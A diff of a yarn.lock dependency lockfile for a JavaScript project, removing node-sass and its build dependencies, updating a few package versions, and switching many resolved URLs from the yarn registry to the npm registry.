+   integrity sha512-wcahMInmGtg/7c6a75fr21Ch/Ks1Tb+Jtoan5Ft4bAI0ZvJqyOw8kkM7e7p8hDSzY805vmxwHT50KcjGwKyJ0g==
+   dependencies:
+     chalk "^4.1.0"
+@@ -1470,25 +1042,7 @@ maxmin@^3.0.0:
+     gzip-size "^5.1.1"
+     pretty-bytes "^5.3.0"
+ 
+-meow@^9.0.0:
+-  version "9.0.0"
+-  resolved "https://registry.yarnpkg.com/meow/-/meow-9.0.0.tgz#cd9510bc5cac9dee7d03c73ee1f9ad959f4ea364"
+-  integrity sha512-+obSblOQmRhcyBt62furQqRAQpNyWXo8BuQ5bN7dG8wmwQ+vwHKp/rCFD4CrTP8CsDQD1sjoZ94K417XEUk8IQ==
+-  dependencies:
+-    "@types/minimist" "^1.2.0"
+-    camelcase-keys "^6.2.2"
+-    decamelize "^1.2.0"
+-    decamelize-keys "^1.1.0"
+-    hard-rejection "^2.1.0"
+-    minimist-options "4.1.0"
+-    normalize-package-data "^3.0.0"
+-    read-pkg-up "^7.0.1"
+-    redent "^3.0.0"
+-    trim-newlines "^3.0.0"
+-    type-fest "^0.18.0"
+-    yargs-parser "^20.2.3"
+-
+-micromatch@^4.0.2, micromatch@^4.0.4:
++micromatch@^4.0.2, micromatch@^4.0.4, micromatch@^4.0.5:
+   version "4.0.8"
+   resolved "https://registry.yarnpkg.com/micromatch/-/micromatch-4.0.8.tgz#d66fa18f3a47076789320b9b1af32bd86d9fa202"
+   integrity sha512-PXwfBhYu0hBCPw8Dn0E+WDYb7af3dSLVWKi3HGv84IdF4TyFoC0ysxFd0Goxw7nSv4T/PzEJQxsYsEiFCKo2BA==
+@@ -1496,124 +1050,28 @@ micromatch@^4.0.2, micromatch@^4.0.4:
+     braces "^3.0.3"
+     picomatch "^2.3.1"
+ 
+-min-indent@^1.0.0:
+-  version "1.0.1"
+-  resolved "https://registry.yarnpkg.com/min-indent/-/min-indent-1.0.1.tgz#a63f681673b30571fbe8bc25686ae746eefa9869"
+-  integrity sha512-I9jwMn07Sy/IwOj3zVkVik2JTvgpaykDZEigL6Rx6N9LbMywwUSMtxET+7lVoDLLd3O3IXwJwvuuns8UB/HeAg==
+-
+ minimatch@^3.0.4, minimatch@^3.1.1:
+   version "3.1.2"
+-  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz#19cd194bfd3e428f049a70817c038d89ab4be35b"
++  resolved "https://registry.npmjs.org/minimatch/-/minimatch-3.1.2.tgz"
+   integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==
+   dependencies:
+     brace-expansion "^1.1.7"
+ 
+-minimatch@^5.0.1:
+-  version "5.1.6"
+-  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-5.1.6.tgz#1cfcb8cf5522ea69952cd2af95ae09477f122a96"
+-  integrity sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==
+-  dependencies:
+-    brace-expansion "^2.0.1"
+-
+ minimatch@~3.0.2, minimatch@~3.0.4:
+   version "3.0.8"
+-  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.0.8.tgz#5e6a59bd11e2ab0de1cfb843eb2d82e546c321c1"
++  resolved "https://registry.npmjs.org/minimatch/-/minimatch-3.0.8.tgz"
+   integrity sha512-6FsRAQsxQ61mw+qP1ZzbL9Bc78x2p5OqNgNpnoAFLTrX8n5Kxph0CsnhmKKNXTWjXqU5L0pGPR7hYk+XWZr60Q==
+   dependencies:
+     brace-expansion "^1.1.7"
+ 
+-minimist-options@4.1.0:
+-  version "4.1.0"
+-  resolved "https://registry.yarnpkg.com/minimist-options/-/minimist-options-4.1.0.tgz#c0655713c53a8a2ebd77ffa247d342c40f010619"
+-  integrity sha512-Q4r8ghd80yhO/0j1O3B2BjweX3fiHg9cdOwjJd2J76Q135c+NDxGCqdYKQ1SKBuFfgWbAUzBfvYjPUEeNgqN1A==
+-  dependencies:
+-    arrify "^1.0.1"
+-    is-plain-obj "^1.1.0"
+-    kind-of "^6.0.3"
+-
+-minipass-collect@^1.0.2:
+-  version "1.0.2"
+-  resolved "https://registry.yarnpkg.com/minipass-collect/-/minipass-collect-1.0.2.tgz#22b813bf745dc6edba2576b940022ad6edc8c617"
+-  integrity sha512-6T6lH0H8OG9kITm/Jm6tdooIbogG9e0tLgpY6mphXSm/A9u8Nq1ryBG+Qspiub9LjWlBPsPS3tWQ/Botq4FdxA==
+-  dependencies:
+-    minipass "^3.0.0"
+-
+-minipass-fetch@^1.3.2:
+-  version "1.4.1"
+-  resolved "https://registry.yarnpkg.com/minipass-fetch/-/minipass-fetch-1.4.1.tgz#d75e0091daac1b0ffd7e9d41629faff7d0c1f1b6"
+-  integrity sha512-CGH1eblLq26Y15+Azk7ey4xh0J/XfJfrCox5LDJiKqI2Q2iwOLOKrlmIaODiSQS8d18jalF6y2K2ePUm0CmShw==
+-  dependencies:
+-    minipass "^3.1.0"
+-    minipass-sized "^1.0.3"
+-    minizlib "^2.0.0"
+-  optionalDependencies:
+-    encoding "^0.1.12"
+-
+-minipass-fetch@^2.0.3:
+-  version "2.1.2"
+-  resolved "https://registry.yarnpkg.com/minipass-fetch/-/minipass-fetch-2.1.2.tgz#95560b50c472d81a3bc76f20ede80eaed76d8add"
+-  integrity sha512-LT49Zi2/WMROHYoqGgdlQIZh8mLPZmOrN2NdJjMXxYe4nkN6FUyuPuOAOedNJDrx0IRGg9+4guZewtp8hE6TxA==
+-  dependencies:
+-    minipass "^3.1.6"
+-    minipass-sized "^1.0.3"
+-    minizlib "^2.1.2"
+-  optionalDependencies:
+-    encoding "^0.1.13"
+-
+-minipass-flush@^1.0.5:
+-  version "1.0.5"
+-  resolved "https://registry.yarnpkg.com/minipass-flush/-/minipass-flush-1.0.5.tgz#82e7135d7e89a50ffe64610a787953c4c4cbb373"
+-  integrity sha512-JmQSYYpPUqX5Jyn1mXaRwOda1uQ8HP5KAT/oDSLCzt1BYRhQU0/hDtsB1ufZfEEzMZ9aAVmsBw8+FWsIXlClWw==
+-  dependencies:
+-    minipass "^3.0.0"
+-
+-minipass-pipeline@^1.2.2, minipass-pipeline@^1.2.4:
+-  version "1.2.4"
+-  resolved "https://registry.yarnpkg.com/minipass-pipeline/-/minipass-pipeline-1.2.4.tgz#68472f79711c084657c067c5c6ad93cddea8214c"
+-  integrity sha512-xuIq7cIOt09RPRJ19gdi4b+RiNvDFYe5JH+ggNvBqGqpQXcru3PcRmOZuHBKWK1Txf9+cQ+HMVN4d6z46LZP7A==
+-  dependencies:
+-    minipass "^3.0.0"
+-
+-minipass-sized@^1.0.3:
+-  version "1.0.3"
+-  resolved "https://registry.yarnpkg.com/minipass-sized/-/minipass-sized-1.0.3.tgz#70ee5a7c5052070afacfbc22977ea79def353b70"
+-  integrity sha512-MbkQQ2CTiBMlA2Dm/5cY+9SWFEN8pzzOXi6rlM5Xxq0Yqbda5ZQy9sU75a673FE9ZK0Zsbr6Y5iP6u9nktfg2g==
+-  dependencies:
+-    minipass "^3.0.0"
+-
+-minipass@^3.0.0, minipass@^3.1.0, minipass@^3.1.1, minipass@^3.1.3, minipass@^3.1.6:
+-  version "3.3.6"
+-  resolved "https://registry.yarnpkg.com/minipass/-/minipass-3.3.6.tgz#7bba384db3a1520d18c9c0e5251c3444e95dd94a"
+-  integrity sha512-DxiNidxSEK+tHG6zOIklvNOwm3hvCrbUrdtzY74U6HKTJxvIDfOUL5W5P2Ghd3DTkhhKPYGqeNUIh5qcM4YBfw==
+-  dependencies:
+-    yallist "^4.0.0"
+-
+-minipass@^5.0.0:
+-  version "5.0.0"
+-  resolved "https://registry.yarnpkg.com/minipass/-/minipass-5.0.0.tgz#3e9788ffb90b694a5d0ec94479a45b5d8738133d"
+-  integrity sha512-3FnjYuehv9k6ovOEbyOswadCDPX1piCfhV8ncmYtHOjuPwylVWsghTLo7rabjC3Rx5xD4HDx8Wm1xnMF7S5qFQ==
+-
+-minizlib@^2.0.0, minizlib@^2.1.1, minizlib@^2.1.2:
+-  version "2.1.2"
+-  resolved "https://registry.yarnpkg.com/minizlib/-/minizlib-2.1.2.tgz#e90d3466ba209b932451508a11ce3d3632145931"
+-  integrity sha512-bAxsR8BVfj60DWXHE3u30oHzfl4G7khkSuPW+qvpd7jFRHm7dLxOjUk1EHACJ/hxLY8phGJ0YhYHZo7jil7Qdg==
+-  dependencies:
+-    minipass "^3.0.0"
+-    yallist "^4.0.0"
+-
+-mkdirp@^1.0.3, mkdirp@^1.0.4:
+-  version "1.0.4"
+-  resolved "https://registry.yarnpkg.com/mkdirp/-/mkdirp-1.0.4.tgz#3eb5ed62622756d79a5f0e2a221dfebad75c2f7e"
+-  integrity sha512-vVqVZQyf3WLx2Shd0qJ9xuvqgAyKPLAiqITEtqW0oIUjzo3PePDd6fW9iFz30ef7Ysp/oiWqbhszeGWW2T6Gzw==
+-
+-ms@^2.0.0, ms@^2.1.1, ms@^2.1.3:
++ms@^2.1.1:
+   version "2.1.3"
+-  resolved "https://registry.yarnpkg.com/ms/-/ms-2.1.3.tgz#574c8138ce1d2b5861f0b44579dbadd60c6615b2"
++  resolved "https://registry.npmjs.org/ms/-/ms-2.1.3.tgz"
+   integrity sha512-6FlzubTLZG3J2a/NVCAleEhjzq5oxgHyaCU9yYXvcLsvoVaHJq/s5xXI6/XXP6tz7R9xAOtHnSO/tXtF3WRTlA==
+ 
+ multimatch@^4.0.0:
+   version "4.0.0"
+-  resolved "https://registry.yarnpkg.com/multimatch/-/multimatch-4.0.0.tgz#8c3c0f6e3e8449ada0af3dd29efb491a375191b3"
++  resolved "https://registry.npmjs.org/multimatch/-/multimatch-4.0.0.tgz"
+   integrity sha512-lDmx79y1z6i7RNx0ZGCPq1bzJ6ZoDDKbvh7jxr9SJcWLkShMzXrHbYVpTdnhNM5MXpDUxCQ4DgqVttVXlBgiBQ==
+   dependencies:
+     "@types/minimatch" "^3.0.3"
+@@ -1622,137 +1080,59 @@ multimatch@^4.0.0:
+     arrify "^2.0.1"
+     minimatch "^3.0.4"
+ 
+-nan@^2.17.0:
+-  version "2.22.0"
+-  resolved "https://registry.yarnpkg.com/nan/-/nan-2.22.0.tgz#31bc433fc33213c97bad36404bb68063de604de3"
+-  integrity sha512-nbajikzWTMwsW+eSsNm3QwlOs7het9gGJU5dDZzRTQGk03vyBOauxgI4VakDzE0PtsGTmXPsXTbbjVhRwR5mpw==
+-
+ nanoid@^3.3.7:
+-  version "3.3.8"
+-  resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.3.8.tgz#b1be3030bee36aaff18bacb375e5cce521684baf"
+-  integrity sha512-WNLf5Sd8oZxOm+TzppcYk8gVOgP+l58xNy58D0nbUnOxOWRWvlcCV4kUF7ltmI6PsrLl/BgKEyS4mqsGChFN0w==
+-
+-negotiator@^0.6.2, negotiator@^0.6.3:
+-  version "0.6.4"
+-  resolved "https://registry.yarnpkg.com/negotiator/-/negotiator-0.6.4.tgz#777948e2452651c570b712dd01c23e262713fff7"
+-  integrity sha512-myRT3DiWPHqho5PrJaIRyaMv2kgYf0mUVgBNOYMuCH5Ki1yEiQaf/ZJuQ62nvpc44wL5WDbTX7yGJi1Neevw8w==
+-
+-node-gyp@^8.4.1:
+-  version "8.4.1"
+-  resolved "https://registry.yarnpkg.com/node-gyp/-/node-gyp-8.4.1.tgz#3d49308fc31f768180957d6b5746845fbd429937"
+-  integrity sha512-olTJRgUtAb/hOXG0E93wZDs5YiJlgbXxTwQAFHyNlRsXQnYzUaF2aGgujZbw+hR8aF4ZG/rST57bWMWD16jr9w==
+-  dependencies:
+-    env-paths "^2.2.0"
+-    glob "^7.1.4"
+-    graceful-fs "^4.2.6"
+-    make-fetch-happen "^9.1.0"
+-    nopt "^5.0.0"
+-    npmlog "^6.0.0"
+-    rimraf "^3.0.2"
+-    semver "^7.3.5"
+-    tar "^6.1.2"
+-    which "^2.0.2"
+-
+-node-releases@^2.0.18:
+-  version "2.0.18"
+-  resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-2.0.18.tgz#f010e8d35e2fe8d6b2944f03f70213ecedc4ca3f"
+-  integrity sha512-d9VeXT4SJ7ZeOqGX6R5EM022wpL+eWPooLI+5UpWn2jCT1aosUQEhQP214x33Wkwx3JQMvIm+tIoVOdodFS40g==
+-
+-node-sass@9.0:
+-  version "9.0.0"
+-  resolved "https://registry.yarnpkg.com/node-sass/-/node-sass-9.0.0.tgz#c21cd17bd9379c2d09362b3baf2cbf089bce08ed"
+-  integrity sha512-yltEuuLrfH6M7Pq2gAj5B6Zm7m+gdZoG66wTqG6mIZV/zijq3M2OO2HswtT6oBspPyFhHDcaxWpsBm0fRNDHPg==
+-  dependencies:
+-    async-foreach "^0.1.3"
+-    chalk "^4.1.2"
+-    cross-spawn "^7.0.3"
+-    gaze "^1.0.0"
+-    get-stdin "^4.0.1"
+-    glob "^7.0.3"
+-    lodash "^4.17.15"
+-    make-fetch-happen "^10.0.4"
+-    meow "^9.0.0"
+-    nan "^2.17.0"
+-    node-gyp "^8.4.1"
+-    sass-graph "^4.0.1"
+-    stdout-stream "^1.4.0"
+-    "true-case-path" "^2.2.1"
+-
+-nopt@^5.0.0:
+-  version "5.0.0"
+-  resolved "https://registry.yarnpkg.com/nopt/-/nopt-5.0.0.tgz#530942bb58a512fccafe53fe210f13a25355dc88"
+-  integrity sha512-Tbj67rffqceeLpcRXrT7vKAN8CwfPeIBgM7E6iBkmKLV7bEMwpGgYLGv0jACUsECaa/vuxP0IjEont6umdMgtQ==
+-  dependencies:
+-    abbrev "1"
++  version "3.3.11"
++  resolved "https://registry.yarnpkg.com/nanoid/-/nanoid-3.3.11.tgz#4f4f112cefbe303202f2199838128936266d185b"
++  integrity sha512-N8SpfPUnUp1bK+PMYW8qSWdl9U+wwNWI4QKxOYDy9JAro3WMX7p2OeVRF9v+347pnakNevPmiHhNmZ2HbFA76w==
++
++node-addon-api@^7.0.0:
++  version "7.1.1"
++  resolved "https://registry.npmjs.org/node-addon-api/-/node-addon-api-7.1.1.tgz"
++  integrity sha512-5m3bsyrjFWE1xf7nz7YXdN4udnVtXK6/Yfgn5qnahL6bCkf2yKt4k3nuTKAtT4r3IG8JNR2ncsIMdZuAzJjHQQ==
++
++node-releases@^2.0.19:
++  version "2.0.19"
++  resolved "https://registry.yarnpkg.com/node-releases/-/node-releases-2.0.19.tgz#9e445a52950951ec4d177d843af370b411caf314"
++  integrity sha512-xxOWJsBKtzAq7DY0J+DTzuz58K8e7sJbdgwkbMWQe8UYB6ekmsQ45q0M/tJDsGaZmbC+l7n57UV8Hl5tHxO9uw==
+ 
+ nopt@~3.0.6:
+   version "3.0.6"
+-  resolved "https://registry.yarnpkg.com/nopt/-/nopt-3.0.6.tgz#c6465dbf08abcd4db359317f79ac68a646b28ff9"
++  resolved "https://registry.npmjs.org/nopt/-/nopt-3.0.6.tgz"
+   integrity sha512-4GUt3kSEYmk4ITxzB/b9vaIDfUVWN/Ml1Fwl11IlnIG2iaJ9O6WXZ9SrYM9NLI8OCBieN2Y8SWC2oJV0RQ7qYg==
+   dependencies:
+     abbrev "1"
+ 
+ nopt@~4.0.1:
+   version "4.0.3"
+-  resolved "https://registry.yarnpkg.com/nopt/-/nopt-4.0.3.tgz#a375cad9d02fd921278d954c2254d5aa57e15e48"
++  resolved "https://registry.npmjs.org/nopt/-/nopt-4.0.3.tgz"
+   integrity sha512-CvaGwVMztSMJLOeXPrez7fyfObdZqNUK1cPAEzLHrTybIua9pMdmmPR5YwtfNftIOMv3DPUhFaxsZMNTQO20Kg==
+   dependencies:
+     abbrev "1"
+     osenv "^0.1.4"
+ 
+-normalize-package-data@^2.5.0:
+-  version "2.5.0"
+-  resolved "https://registry.yarnpkg.com/normalize-package-data/-/normalize-package-data-2.5.0.tgz#e66db1838b200c1dfc233225d12cb36520e234a8"
+-  integrity sha512-/5CMN3T0R4XTj4DcGaexo+roZSdSFW/0AOOTROrjxzCG1wrWXEsGbRKevjlIL+ZDE4sZlJr5ED4YW0yqmkK+eA==
+-  dependencies:
+-    hosted-git-info "^2.1.4"
+-    resolve "^1.10.0"
+-    semver "2 || 3 || 4 || 5"
+-    validate-npm-package-license "^3.0.1"
+-
+-normalize-package-data@^3.0.0:
+-  version "3.0.3"
+-  resolved "https://registry.yarnpkg.com/normalize-package-data/-/normalize-package-data-3.0.3.tgz#dbcc3e2da59509a0983422884cd172eefdfa525e"
+-  integrity sha512-p2W1sgqij3zMMyRC067Dg16bfzVH+w7hyegmpIvZ4JNjqtGOVAIvLmjBx3yP7YTe9vKJgkoNOPjwQGogDoMXFA==
+-  dependencies:
+-    hosted-git-info "^4.0.1"
+-    is-core-module "^2.5.0"
+-    semver "^7.3.4"
+-    validate-npm-package-license "^3.0.1"
+-
+ normalize-range@^0.1.2:
+   version "0.1.2"
+-  resolved "https://registry.yarnpkg.com/normalize-range/-/normalize-range-0.1.2.tgz#2d10c06bdfd312ea9777695a4d28439456b75942"
++  resolved "https://registry.npmjs.org/normalize-range/-/normalize-range-0.1.2.tgz"
+   integrity sha512-bdok/XvKII3nUpklnV6P2hxtMNrCboOjAcyBuQnWEhO665FwrSNRxU+AqpsyvO6LgGYPspN+lu5CLtw4jPRKNA==
+ 
+-npmlog@^6.0.0:
+-  version "6.0.2"
+-  resolved "https://registry.yarnpkg.com/npmlog/-/npmlog-6.0.2.tgz#c8166017a42f2dea92d6453168dd865186a70830"
+-  integrity sha512-/vBvz5Jfr9dT/aFWd0FIRf+T/Q2WBsLENygUaFUqstqsycmZAP/t5BvFJTK0viFmSUxiUKTUplWy5vt+rvKIxg==
+-  dependencies:
+-    are-we-there-yet "^3.0.0"
+-    console-control-strings "^1.1.0"
+-    gauge "^4.0.3"
+-    set-blocking "^2.0.0"
+-
+ num2fraction@^1.2.2:
+   version "1.2.2"
+-  resolved "https://registry.yarnpkg.com/num2fraction/-/num2fraction-1.2.2.tgz#6f682b6a027a4e9ddfa4564cd2589d1d4e669ede"
++  resolved "https://registry.npmjs.org/num2fraction/-/num2fraction-1.2.2.tgz"
+   integrity sha512-Y1wZESM7VUThYY+4W+X4ySH2maqcA+p7UR+w8VWNWVAd6lwuXXWz/w/Cz43J/dI2I+PS6wD5N+bJUF+gjWvIqg==
+ 
+ object-assign@^4.1.0:
+   version "4.1.1"
+-  resolved "https://registry.yarnpkg.com/object-assign/-/object-assign-4.1.1.tgz#2109adc7965887cfc05cbbd442cac8bfbb360863"
++  resolved "https://registry.npmjs.org/object-assign/-/object-assign-4.1.1.tgz"
+   integrity sha512-rJgTQnkUnH1sFw8yT6VSU3zD3sWmu6sZhIseY8VX+GRu3P6F7Fu+JNDoXfklElbLJSnc3FUQHVe4cU5hj+BcUg==
+ 
+-object-inspect@^1.13.1:
+-  version "1.13.3"
+-  resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.13.3.tgz#f14c183de51130243d6d18ae149375ff50ea488a"
+-  integrity sha512-kDCGIbxkDSXE3euJZZXzc6to7fCrKHNI/hSRQnRuQ+BWjFNzZwiFF8fj/6o2t2G9/jTj8PSIYTfCLelLZEeRpA==
++object-inspect@^1.13.3:
++  version "1.13.4"
++  resolved "https://registry.yarnpkg.com/object-inspect/-/object-inspect-1.13.4.tgz#8375265e21bc20d0fa582c22e1b13485d6e00213"
++  integrity sha512-W67iLl4J2EXEGTbfeHCffrjDfitvLANg0UlX3wFUUSTx92KXRFegMHUVgSqE+wvhAbi4WqjGg9czysTV2Epbew==
+ 
+ object.defaults@^1.1.0:
+   version "1.1.0"
+-  resolved "https://registry.yarnpkg.com/object.defaults/-/object.defaults-1.1.0.tgz#3a7f868334b407dea06da16d88d5cd29e435fecf"
++  resolved "https://registry.npmjs.org/object.defaults/-/object.defaults-1.1.0.tgz"
+   integrity sha512-c/K0mw/F11k4dEUBMW8naXUuBuhxRCfG7W+yFy8EcijU/rSmazOUd1XAEEe6bC0OuXY4HUKjTJv7xbxIMqdxrA==
+   dependencies:
+     array-each "^1.0.1"
+@@ -1762,7 +1142,7 @@ object.defaults@^1.1.0:
+ 
+ object.map@^1.0.1:
+   version "1.0.1"
+-  resolved "https://registry.yarnpkg.com/object.map/-/object.map-1.0.1.tgz#cf83e59dc8fcc0ad5f4250e1f78b3b81bd801d37"
++  resolved "https://registry.npmjs.org/object.map/-/object.map-1.0.1.tgz"
+   integrity sha512-3+mAJu2PLfnSVGHwIWubpOFLscJANBKuB/6A4CxBstc4aqwQY0FWcsppuy4jU5GSB95yES5JHSI+33AWuS4k6w==
+   dependencies:
+     for-own "^1.0.0"
+@@ -1770,160 +1150,126 @@ object.map@^1.0.1:
+ 
+ object.pick@^1.2.0:
+   version "1.3.0"
+-  resolved "https://registry.yarnpkg.com/object.pick/-/object.pick-1.3.0.tgz#87a10ac4c1694bd2e1cbf53591a66141fb5dd747"
++  resolved "https://registry.npmjs.org/object.pick/-/object.pick-1.3.0.tgz"
+   integrity sha512-tqa/UMy/CCoYmj+H5qc07qvSL9dqcs/WZENZ1JbtWBlATP+iVOe778gE6MSijnyCnORzDuX6hU+LA4SZ09YjFQ==
+   dependencies:
+     isobject "^3.0.1"
+ 
+ once@^1.3.0:
+   version "1.4.0"
+-  resolved "https://registry.yarnpkg.com/once/-/once-1.4.0.tgz#583b1aa775961d4b113ac17d9c50baef9dd76bd1"
++  resolved "https://registry.npmjs.org/once/-/once-1.4.0.tgz"
+   integrity sha512-lNaJgI+2Q5URQBkccEKHTQOPaXdUxnZZElQTZY0MFUAuaEqe1E+Nyvgdz/aIyNi6Z9MzO5dv1H8n58/GELp3+w==
+   dependencies:
+     wrappy "1"
+ 
+ os-homedir@^1.0.0:
+   version "1.0.2"
+-  resolved "https://registry.yarnpkg.com/os-homedir/-/os-homedir-1.0.2.tgz#ffbc4988336e0e833de0c168c7ef152121aa7fb3"
++  resolved "https://registry.npmjs.org/os-homedir/-/os-homedir-1.0.2.tgz"
+   integrity sha512-B5JU3cabzk8c67mRRd3ECmROafjYMXbuzlwtqdM8IbS8ktlTix8aFGb2bAGKrSRIlnfKwovGUUr72JUPyOb6kQ==
+ 
+ os-tmpdir@^1.0.0:
+   version "1.0.2"
+-  resolved "https://registry.yarnpkg.com/os-tmpdir/-/os-tmpdir-1.0.2.tgz#bbe67406c79aa85c5cfec766fe5734555dfa1274"
++  resolved "https://registry.npmjs.org/os-tmpdir/-/os-tmpdir-1.0.2.tgz"
+   integrity sha512-D2FR03Vir7FIu45XBY20mTb+/ZSWB00sjU9jdQXt83gDrI4Ztz5Fs7/yy74g2N5SVQY4xY1qDr4rNddwYRVX0g==
+ 
+ osenv@^0.1.4:
+   version "0.1.5"
+-  resolved "https://registry.yarnpkg.com/osenv/-/osenv-0.1.5.tgz#85cdfafaeb28e8677f416e287592b5f3f49ea410"
++  resolved "https://registry.npmjs.org/osenv/-/osenv-0.1.5.tgz"
+   integrity sha512-0CWcCECdMVc2Rw3U5w9ZjqX6ga6ubk1xDVKxtBQPK7wis/0F2r9T6k4ydGYhecl7YUBxBVxhL5oisPsNxAPe2g==
+   dependencies:
+     os-homedir "^1.0.0"
+     os-tmpdir "^1.0.0"
+ 
+-p-limit@^2.0.0, p-limit@^2.2.0:
++p-limit@^2.0.0:
+   version "2.3.0"
+-  resolved "https://registry.yarnpkg.com/p-limit/-/p-limit-2.3.0.tgz#3dd33c647a214fdfffd835933eb086da0dc21db1"
++  resolved "https://registry.npmjs.org/p-limit/-/p-limit-2.3.0.tgz"
+   integrity sha512-//88mFWSJx8lxCzwdAABTJL2MyWB12+eIY7MDL2SqLmAkeKU9qxRvWuSyTjm3FUmpBEMuFfckAIqEaVGUDxb6w==
+   dependencies:
+     p-try "^2.0.0"
+ 
+ p-locate@^3.0.0:
+   version "3.0.0"
+-  resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-3.0.0.tgz#322d69a05c0264b25997d9f40cd8a891ab0064a4"
++  resolved "https://registry.npmjs.org/p-locate/-/p-locate-3.0.0.tgz"
+   integrity sha512-x+12w/To+4GFfgJhBEpiDcLozRJGegY+Ei7/z0tSLkMmxGZNybVMSfWj9aJn8Z5Fc7dBUNJOOVgPv2H7IwulSQ==
+   dependencies:
+     p-limit "^2.0.0"
+ 
+-p-locate@^4.1.0:
+-  version "4.1.0"
+-  resolved "https://registry.yarnpkg.com/p-locate/-/p-locate-4.1.0.tgz#a3428bb7088b3a60292f66919278b7c297ad4f07"
+-  integrity sha512-R79ZZ/0wAxKGu3oYMlz8jy/kbhsNrS7SKZ7PxEHBgJ5+F2mtFW2fK2cOtBh1cHYkQsbzFV7I+EoRKe6Yt0oK7A==
+-  dependencies:
+-    p-limit "^2.2.0"
+-
+-p-map@^4.0.0:
+-  version "4.0.0"
+-  resolved "https://registry.yarnpkg.com/p-map/-/p-map-4.0.0.tgz#bb2f95a5eda2ec168ec9274e06a747c3e2904d2b"
+-  integrity sha512-/bjOqmgETBYB5BoEeGVea8dmvHb2m9GLy1E9W43yeyfP6QQCZGFNa+XRceJEuDB6zqr+gKpIAmlLebMpykw/MQ==
+-  dependencies:
+-    aggregate-error "^3.0.0"
+-
+ p-try@^2.0.0:
+   version "2.2.0"
+-  resolved "https://registry.yarnpkg.com/p-try/-/p-try-2.2.0.tgz#cb2868540e313d61de58fafbe35ce9004d5540e6"
++  resolved "https://registry.npmjs.org/p-try/-/p-try-2.2.0.tgz"
+   integrity sha512-R4nPAVTAU0B9D35/Gk3uJf/7XYbQcyohSKdvAxIRSNghFl4e71hVoGnBNQz9cWaXxO2I10KTC+3jMdvvoKw6dQ==
+ 
+ parse-filepath@^1.0.1:
+   version "1.0.2"
+-  resolved "https://registry.yarnpkg.com/parse-filepath/-/parse-filepath-1.0.2.tgz#a632127f53aaf3d15876f5872f3ffac763d6c891"
++  resolved "https://registry.npmjs.org/parse-filepath/-/parse-filepath-1.0.2.tgz"
+   integrity sha512-FwdRXKCohSVeXqwtYonZTXtbGJKrn+HNyWDYVcp5yuJlesTwNH4rsmRZ+GrKAPJ5bLpRxESMeS+Rl0VCHRvB2Q==
+   dependencies:
+     is-absolute "^1.0.0"
+     map-cache "^0.2.0"
+     path-root "^0.1.1"
+ 
+-parse-json@^5.0.0:
+-  version "5.2.0"
+-  resolved "https://registry.yarnpkg.com/parse-json/-/parse-json-5.2.0.tgz#c76fc66dee54231c962b22bcc8a72cf2f99753cd"
+-  integrity sha512-ayCKvm/phCGxOkYRSCM82iDwct8/EonSEgCSxWxD7ve6jHggsFl4fZVQBPRNgQoKiuV/odhFrGzQXZwbifC8Rg==
+-  dependencies:
+-    "@babel/code-frame" "^7.0.0"
+-    error-ex "^1.3.1"
+-    json-parse-even-better-errors "^2.3.0"
+-    lines-and-columns "^1.1.6"
+-
+ parse-passwd@^1.0.0:
+   version "1.0.0"
+-  resolved "https://registry.yarnpkg.com/parse-passwd/-/parse-passwd-1.0.0.tgz#6d5b934a456993b23d37f40a382d6f1666a8e5c6"
++  resolved "https://registry.npmjs.org/parse-passwd/-/parse-passwd-1.0.0.tgz"
+   integrity sha512-1Y1A//QUXEZK7YKz+rD9WydcE1+EuPr6ZBgKecAB8tmoW6UFv0NREVJe1p+jRxtThkcbbKkfwIbWJe/IeE6m2Q==
+ 
+ path-exists@^3.0.0:
+   version "3.0.0"
+-  resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-3.0.0.tgz#ce0ebeaa5f78cb18925ea7d810d7b59b010fd515"
++  resolved "https://registry.npmjs.org/path-exists/-/path-exists-3.0.0.tgz"
+   integrity sha512-bpC7GYwiDYQ4wYLe+FA8lhRjhQCMcQGuSgGGqDkg/QerRWw9CmGRT0iSOVRSZJ29NMLZgIzqaljJ63oaL4NIJQ==
+ 
+-path-exists@^4.0.0:
+-  version "4.0.0"
+-  resolved "https://registry.yarnpkg.com/path-exists/-/path-exists-4.0.0.tgz#513bdbe2d3b95d7762e8c1137efa195c6c61b5b3"
+-  integrity sha512-ak9Qy5Q7jYb2Wwcey5Fpvg2KoAc/ZIhLSLOSBmRmygPsGwkVVt0fZa0qrtMz+m6tJTAHfZQ8FnmB4MG4LWy7/w==
+-
+ path-is-absolute@^1.0.0:
+   version "1.0.1"
+-  resolved "https://registry.yarnpkg.com/path-is-absolute/-/path-is-absolute-1.0.1.tgz#174b9268735534ffbc7ace6bf53a5a9e1b5c5f5f"
++  resolved "https://registry.npmjs.org/path-is-absolute/-/path-is-absolute-1.0.1.tgz"
+   integrity sha512-AVbw3UJ2e9bq64vSaS9Am0fje1Pa8pbGqTTsmXfaIiMpnr5DlDhfJOuLj9Sf95ZPVDAUerDfEk88MPmPe7UCQg==
+ 
+-path-key@^3.1.0:
+-  version "3.1.1"
+-  resolved "https://registry.yarnpkg.com/path-key/-/path-key-3.1.1.tgz#581f6ade658cbba65a0d3380de7753295054f375"
+-  integrity sha512-ojmeN0qd+y0jszEtoY48r0Peq5dwMEkIlCOu6Q5f41lfkswXuKtYrhgoTpLnyIcHm24Uhqx+5Tqm2InSwLhE6Q==
+-
+ path-parse@^1.0.7:
+   version "1.0.7"
+-  resolved "https://registry.yarnpkg.com/path-parse/-/path-parse-1.0.7.tgz#fbc114b60ca42b30d9daf5858e4bd68bbedb6735"
++  resolved "https://registry.npmjs.org/path-parse/-/path-parse-1.0.7.tgz"
+   integrity sha512-LDJzPVEEEPR+y48z93A0Ed0yXb8pAByGWo/k5YYdYgpY2/2EsOsksJrq7lOHxryrVOn1ejG6oAp8ahvOIQD8sw==
+ 
+ path-root-regex@^0.1.0:
+   version "0.1.2"
